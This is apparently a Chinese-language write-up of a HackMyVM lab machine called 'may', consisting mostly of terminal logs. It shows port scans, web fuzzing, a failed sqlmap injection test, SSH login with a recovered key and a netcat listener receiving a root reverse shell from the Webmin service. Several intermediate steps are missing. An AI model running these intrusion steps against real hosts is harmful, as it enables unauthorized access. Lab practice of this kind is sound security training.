kali@kali [~] ➜ sudo nmap -p- -sT --min-rate 1000 192.168.1.59 [23:43:32] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-21 23:50 CST Nmap scan report for may.hmv (192.168.1.59) Host is up (0.0029s latency). Not shown: 65532 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 10000/tcp open snet-sensor-mgmt MAC Address: 08:00:27:C3:A8:CC (Oracle VirtualBox virtual NIC)
kali@kali [~] ➜ sudo nmap -sT -sV -sC -p22,80,10000 192.168.1.59 [23:50:18] [sudo] kali 的密码： Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-22 00:08 CST Nmap scan report for may.hmv (192.168.1.59) Host is up (0.00047s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 94:fb:c0:76:f2:b3:ff:4a:ed:61:6a:ae:a1:ca:86:c1 (RSA) | 256 d0:29:99:fd:69:68:21:e3:b4:a6:48:e4:4e:a1:7e:f4 (ECDSA) |_ 256 2a:1b:1f:3d:ab:0a:00:5b:43:75:89:67:8a:98:21:df (ED25519) 80/tcp open http nginx 1.14.2 |_http-server-header: nginx/1.14.2 |_http-title: MAY 10000/tcp open http MiniServ 1.979 (Webmin httpd) |_http-title: 200 — Document follows |_http-server-header: MiniServ/1.979 MAC Address: 08:00:27:C3:A8:CC (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
看来这个10000端口也是一个http服务
80端口渗透
首先设置host文件，至于为啥，访问80端口就可以看出该网址重定向到may.hmv
1 2 3 4 5 6 7 8 9 10 11 12
kali@kali [~] ➜ curl http://may.hmv/ [23:45:21] <!doctype html> <html lang="en"> <title>MAY</title> <pre> admin: Web is under construction. Use Intranet. marie: Where are now the keys? alice: Yes, where are? admin: :'( </pre> </body> </html>
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://may.hmv/ Total requests: 4989
===================================================================== ID Response Lines Word Chars Payload =====================================================================
000000048: 200 11 L 31 W 406 Ch "portal" 000000183: 200 10 L 31 W 405 Ch "ssh"
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 00:35:48 /2025-02-22/
[00:35:48] [INFO] parsing HTTP request from '1.txt' custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] y [00:35:50] [INFO] testing connection to the target URL [00:35:50] [INFO] checking if the target is protected by some kind of WAF/IPS [00:35:50] [INFO] testing if the target URL content is stable [00:35:51] [INFO] target URL content is stable [00:35:51] [INFO] testing if (custom) POST parameter '#1*' is dynamic [00:35:51] [WARNING] (custom) POST parameter '#1*' does not appear to be dynamic [00:35:51] [WARNING] heuristic (basic) test shows that (custom) POST parameter '#1*' might not be injectable [00:35:51] [INFO] testing for SQL injection on (custom) POST parameter '#1*' [00:35:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [00:35:51] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [00:35:51] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [00:35:51] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [00:35:51] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' [00:35:51] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [00:35:51] [INFO] testing 'Generic inline queries' [00:35:51] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [00:35:51] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [00:35:51] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [00:35:51] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [00:35:51] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [00:35:51] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)' [00:35:51] [INFO] testing 'Oracle AND time-based blind' it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]
[00:35:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [00:35:52] [WARNING] (custom) POST parameter '#1*' does not seem to be injectable [00:35:52] [INFO] testing if (custom) POST parameter '#2*' is dynamic [00:35:52] [WARNING] (custom) POST parameter '#2*' does not appear to be dynamic [00:35:52] [WARNING] heuristic (basic) test shows that (custom) POST parameter '#2*' might not be injectable [00:35:52] [INFO] testing for SQL injection on (custom) POST parameter '#2*' [00:35:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [00:35:52] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [00:35:52] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [00:35:52] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [00:35:52] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' [00:35:52] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [00:35:52] [INFO] testing 'Generic inline queries' [00:35:52] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [00:35:52] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [00:35:52] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [00:35:52] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [00:35:52] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [00:35:52] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)' [00:35:52] [INFO] testing 'Oracle AND time-based blind' [00:35:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [00:35:52] [WARNING] (custom) POST parameter '#2*' does not seem to be injectable [00:35:52] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
kali@kali [~] ➜ chmod 600 x [1:28:09] kali@kali [~] ➜ ssh -i x marie@192.168.1.59 [1:28:14] Linux may 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Jul 22 03:34:48 2021 marie@may:~$ whoami marie marie@may:~$ ls -la total 36 drwxr-xr-x 4 marie marie 4096 Jul 22 2021 . drwxr-xr-x 3 root root 4096 Jul 21 2021 .. -rw-r--r-- 1 marie marie 220 Jul 21 2021 .bash_logout -rw-r--r-- 1 marie marie 3526 Jul 21 2021 .bashrc drwxr-xr-x 3 marie marie 4096 Jul 22 2021 .local -rw-r--r-- 1 marie marie 807 Jul 21 2021 .profile drwx------ 2 marie marie 4096 Jul 22 2021 .ssh -rw------- 1 marie marie 16 Jul 22 2021 user.txt -rw------- 1 marie marie 49 Jul 22 2021 .Xauthority marie@may:~$ cat user.txt|base64 SE1WbWFyaWVpc3JlYmVsCg==
我们一直没有看10000端口运行的是啥http服务，访问后发现是Webmin服务
1 2 3 4 5 6
marie@may:/etc/webmin$ sudo -l Matching Defaults entries for marie on may: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User marie may run the following commands on may: (ALL) NOPASSWD: /usr/sbin/halt, /usr/sbin/reboot, /usr/sbin/poweroff
kali@kali [~] ➜ nc -lvnp 8888 [1:42:33] listening on [any] 8888 ... connect to [192.168.1.5] from (UNKNOWN) [192.168.1.59] 40070 bash: cannot set terminal process group (389): Inappropriate ioctl for device bash: no job control in this shell root@may:/usr/share/webmin# id id uid=0(root) gid=0(root) groups=0(root) root@may:/usr/share/webmin#
